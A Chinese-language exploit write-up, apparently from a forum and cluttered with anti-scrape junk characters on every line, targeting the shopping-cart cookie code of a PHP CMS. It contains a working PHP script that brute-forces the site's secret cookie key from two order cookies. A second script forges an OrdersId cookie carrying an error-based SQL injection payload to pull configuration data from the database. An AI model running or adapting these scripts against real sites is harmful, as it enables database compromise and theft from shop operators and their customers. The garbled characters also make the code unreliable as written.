www.xxx.com/plus/search.php?keyword=$ k- Q/ U0 z$ H& S3 Y! v/ e( R1 q
在 include/shopcar.class.php中
7 d. W! F7 h/ L先看一下这个shopcar类是如何生成cookie的
: \$ W0 k9 \: g' M239 function saveCookie($key,$value)/ I3 A2 }; R& z* @& h+ G
240 {
$ i# i4 U: J7 E1 L! I241 if(is_array($value))2 s/ s2 ], L3 \4 B* X( s, z
242 {
1 {9 K! w( N: w0 [) `# u5 r0 `243 $value = $this->enCrypt($this->enCode($value));
& G1 s- l7 O- u4 _5 X244 }. e5 {1 r1 f7 H0 \- H3 k
245 else
$ P2 T1 G: c' B" N2 u7 C246 {
' y+ q6 t: Y4 @1 N" e247 $value = $this->enCrypt($value);5 ?/ T7 q9 [2 ~$ u
248 }8 O J4 ~! t9 u/ f/ P
249 setcookie($key,$value,time()+36000,’/');2 t; y3 I& w8 d; {
250 }9 q! J6 ^) G6 b d4 z# n1 j7 b
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
0 S6 A% B1 x# V1 [4 I/ _186 function enCrypt($txt)
1 x0 f/ U. u& ~* |- C1 N! }187 {0 G$ o$ D$ E) F: V Y& P* D
188 srand((double)microtime() * 1000000);
I( C; E6 b4 y' t) q& P189 $encrypt_key = md5(rand(0, 32000));
\- V( q% m2 H) K1 w190 $ctr = 0;! m6 ~# K% k- D5 e' L, R! K4 ]
191 $tmp = ”;: `, C d2 i0 E+ F/ j% [
192 for($i = 0; $i < strlen($txt); $i++)3 o$ Q; b; p( k, D3 f! q- x
193 {8 [4 P" I d7 ~9 @% z% [
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
0 ?3 I7 q4 z/ m: s5 Q9 | w$ J195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
5 p( {% A4 T! V196 }, P7 {# h" O z* j l
197 return base64_encode($this->setKey($tmp));
0 w) n2 x- @5 l- F- e- p" V I! H+ }198 }5 _8 ?" j& B( g+ Q% |, k$ f
213 function setKey($txt)
( Z' Q' ?9 A1 q6 O; L6 P& h214 {. B7 |# \ L$ a4 P5 ~6 ?# q
215 global $cfg_cookie_encode;5 |2 w1 _5 X$ U
216 $encrypt_key = md5(strtolower($cfg_cookie_encode));0 a4 o& Z6 o% ?. t
217 $ctr = 0;; B9 w# w' b8 E, K
218 $tmp = ”;$ u& C# c' g" ~' k
219 for($i = 0; $i < strlen($txt); $i++)5 W7 y% \+ P( y- ^
220 {
/ S6 s6 t/ \* R0 {221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;7 y: a. q2 @. c$ a, w/ V; F
222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];" v Z0 h7 Y( R p. L( _
223 }& z! S2 |$ i- e
224 return $tmp;6 h2 ? g6 \+ D, c+ M
225 }& Q& `; z: X& D- y# Y
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的 L- R: v8 l# |9 z T1 W5 o3 V
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。8 W3 [6 ?! q' i# o2 X6 ? c+ e
具体代码如下:+ l* `& z% u. j4 k( v
<?php
- V* x6 }8 T l! K$ T3 V$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
/ N" Q6 Y# j7 E2 _7 F& Q. {$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here, Q, M j) n/ {0 A5 w
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here# e5 c) g1 f0 s: [4 j9 v
function reStrCode($code,$string)6 o# y. W( g( J; _3 Q
{
1 u& P# ] }$ L) g x' M7 a$code = base64_decode($code);9 L) X$ b: ~" e# r# [! v9 i8 ]
$key = “”;
# x5 |+ Q' |1 d5 v) Z" p$ N, o. Zfor($i=0 ; $i<32 ; $i++)$ C b( o: k/ `/ x5 }& N
{$ A, y0 Y3 l. A" l/ Z
$key .= $string[$i] ^ $code[$i];- j1 j: _7 C3 a6 v
}- w5 x' ^$ E3 R% g
return $key;
2 I+ ? ]7 W; O: h7 y6 Z& x}9 Z9 D! h# z. E8 @* B) f/ v0 R
function getKeys($cookie,$plantxt)2 ?" g& o$ ?# U) m( G
{
f; s2 D$ L" [* D0 I, a7 k$tmp = $cookie;6 r* d3 a8 {, Z0 k: m3 m& B
$results = array();3 q0 Y( A% I" Y9 `" n
for($j=0 ; $j < 32000; $j++)4 s T$ r' X& O
{+ G) x6 l- f/ B
/ u S C) c1 h) O. I$txt = $plantxt;
" O, Y: K$ B" P$ctr = 0;0 O3 } p7 t; R7 J. b
$tmp = ”;; A' q: @( ^/ p' N
$encrypt_key = md5($j);$ Z: R! i% J5 z0 x( L! b4 p3 ^
for($i =0; $i < strlen($txt); $i ++)
9 k6 }5 f* }* U9 O& R{
" P- v8 M- P8 b6 N& I* g. o$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;; w- L* M# w; o0 T7 V0 `
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
, B2 V1 m0 x9 L& E+ r}* I& U7 D* s$ a8 b
$string = $tmp;
' k) A% a8 |1 ]- H7 X F$code = $cookie;4 M/ w/ G. w8 Y, S: t
$result = reStrCode($code,$string);
1 a/ x: O8 B7 k! T9 Eif(eregi(‘^[a-z0-9]+$’,$result))' l8 h8 Z4 K) J9 k; @
{% w" I e m. L3 M6 J; X
echo $result.”\n”;" A8 E" e, O2 B* P; F
$results[] = $result;+ { m' K8 G9 \3 _ ? N3 H" P7 M8 _
}4 U0 i" @- `2 G( k; s w
}
; o# w9 q5 ?, `0 V, X1 ]2 K2 qreturn $results;
" [ Q9 a7 s' q; f* w8 z' H}# }" m5 O5 D' J1 O/ ~$ f+ E
$results1 = getKeys($cookie1,$plantxt);3 Y ~& Q( l+ r: u
$results2 = getKeys($cookie2,$plantxt);
7 j: M; L. d! [" ]4 h: [8 z! Kprint “\n——————–real key————————–\n”;
$ p* n+ w4 j' D* [" }5 y; \foreach($results1 as $test1), Q; X4 N$ p1 }! x: c: }
{
1 f; |- M4 l$ Lforeach($results2 as $test2): N" H: K- j9 Y7 E
{
$ Z' I8 y- s' Dif($test1 == $test2)/ E9 s" R& R6 A5 N6 i) Q0 P& L. R
{
/ [2 s |" x% q! x/ ~3 techo $test1.”\n”;' m, ^ J- j7 g# D$ ^
}
5 y o& A. Z3 s}( x, V& t1 ^1 r2 y$ f. b% i
}4 k: c, d* J0 f. v4 ?
?>
1 R% X( j: S! v* ycookie1 和 cookie2 是我下了两次订单后分别生成的cookie,( S& V( `' Y& a2 O$ u, L3 k+ J. J
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua17 a! |2 ]$ \) l- O$ t4 {4 \3 p0 C+ L
然后推算出md5(strtolower($cfg_cookie_encode))# ~7 S5 c) u+ a7 }
得到这个key之后,我们就可以构造任意购物车的cookie) S" i3 Z0 b- H$ k# }7 \
接着看3 t# J K% y- o3 m0 [+ e
20 class MemberShops
, n8 b$ v/ f3 v% r: d21 {
0 K! U9 r/ p" u( V; G8 g. {22 var $OrdersId;
' i# d' Y9 r" j! {# K. V23 var $productsId;! G7 U% ~% Z$ ^& H6 J2 V& U
24
) B* S0 Y4 x/ t25 function __construct()
3 v7 I, U3 Z7 ~! x; j' m" N26 {( t8 R: S1 L, k" z; R$ G8 v
27 $this->OrdersId = $this->getCookie(“OrdersId”);1 G. X& K/ T6 T
28 if(empty($this->OrdersId))
* ]% N- }# X4 \6 O) j29 {" c' i# z. A C8 D; r- v
30 $this->OrdersId = $this->MakeOrders();* X$ O4 W% ]- g! r( S0 d. U
31 }5 J% o3 T0 c+ L
32 }7 F. _ O8 k o8 N9 ]/ a0 v
发现OrderId是从cookie里面获取的- J4 A5 ]! l9 f0 z
然后7 ^3 t K3 i2 \9 g3 I4 H) |
/plus/carbuyaction.php中的8 e) ~7 U4 d* U+ y7 X" d
29 $cart = new MemberShops();( l) [/ z; ^9 Q# R: K
39 $OrdersId = $cart->OrdersId; //本次记录的订单号% L+ j2 Q, H5 B: O$ T9 [) e
……7 f( T8 G' o0 @: a5 Q4 |( ]+ D
173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
P# q# g1 _5 l接着我们就可以注入了4 J7 L/ [- O, @2 o A
通过利用下面代码生成cookie:$ t, a: R: r$ F; V! F' W
<?php+ V. H" v8 \. y4 H( O" m2 A
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
0 E) \. k% n' a8 }- ?$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here3 H9 n" k# U* W4 R: _8 w& h8 m
function setKey($txt)
+ d! Q' c0 h1 B w# b7 V7 r{: X& M: [) R% s! M5 }: Y
global $encrypt_key;
S) }7 P7 U- J0 M& @, H0 E$ctr = 0;% y0 {8 b. @0 K% t% y8 y# K
$tmp = ”;
" P, F6 p3 Q& j% nfor($i = 0; $i < strlen($txt); $i++)+ S6 [; r+ j; Z. N
{
0 H7 p; m! ~/ O" p4 \. q$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
% r: b# e/ Q$ b8 I% x$ i( {( d$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];7 R4 Y1 [! k9 l* ~" g
}
( P. l- P. |4 L- V- Xreturn $tmp;
) i$ a j/ s2 O6 t}
# |, q1 {4 s0 P; A: |function enCrypt($txt). S. `7 S8 n7 f) g5 Y, D
{
3 }) m- N4 Y# Y U u8 wsrand((double)microtime() * 1000000);
. b2 j: ]9 b% p2 E# I$encrypt_key = md5(rand(0, 32000));
# j! ^& L6 S5 E6 b$ctr = 0;) G8 F, Y @/ D6 h5 ~5 y
$tmp = ”;
, E" u! ^5 A4 p0 c- L" d4 |# N+ Afor($i = 0; $i < strlen($txt); $i++)
, ?2 n" \( D8 _2 N& r! H( B9 b{
' R Y9 Q, X$ ^+ M4 x, q' \+ O* a. x8 h$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
! f- ], q {/ @4 p5 j/ X! h( P$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
- O( ^& |! T$ X7 m+ b# T4 u}. n( x8 l7 M0 e4 r
return base64_encode(setKey($tmp));
: ?8 V$ \1 A; s1 E}+ R( M: O: ~7 w1 x9 |8 \
for($dest =0;$dest = enCrypt($txt);)% p# o" u" K1 ~, U+ z" s* @
{
3 [$ k. q. I3 e8 B, Eif(!strpos($dest,’+'))0 [1 u, w& y0 f
{
" @/ L. [+ [( v& ybreak;
$ W5 c5 b9 [/ Q" }/ D}
. b1 Q% @$ ]$ ~& z# W& a}
; p9 C T1 m) P1 w4 w0 W4 Yecho $dest.”\n”;7 c9 z/ y. J- i4 o1 U8 G, k* J. W
?>
, {* c$ Y* q! K! B( P) x9 t" Y3 g. X! B* o5 ]. \1 v
|